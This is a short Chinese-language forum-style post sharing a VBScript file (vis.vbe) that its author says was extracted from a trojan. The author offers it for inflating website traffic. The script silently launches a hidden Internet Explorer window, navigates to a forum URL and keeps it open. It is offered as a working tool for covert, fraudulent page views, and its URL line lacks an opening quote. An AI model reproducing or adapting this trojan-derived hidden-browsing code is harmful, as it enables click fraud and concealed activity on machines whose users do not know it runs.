隐藏自动打开指定网址代码

阿杰

用于刷流量,这段代码是从一个木马程序中提取出来的代码
希望对大家有所帮助
vis.vbe
代码如下

Dim Wsr
Set Wsr = WScript.CreateObject("WScript.Shell")
'下面表示延迟启动的时间，单位毫秒。
WScript.Sleep(100)
On Error Resume Next

WScript.Sleep(500)
Set objExplorer = CreateObject("InternetExplorer.Application")
objExplorer.Navigate http://www.m5home.com/bbs"
objExplorer.Visible = 0
Wscript.Sleep 20000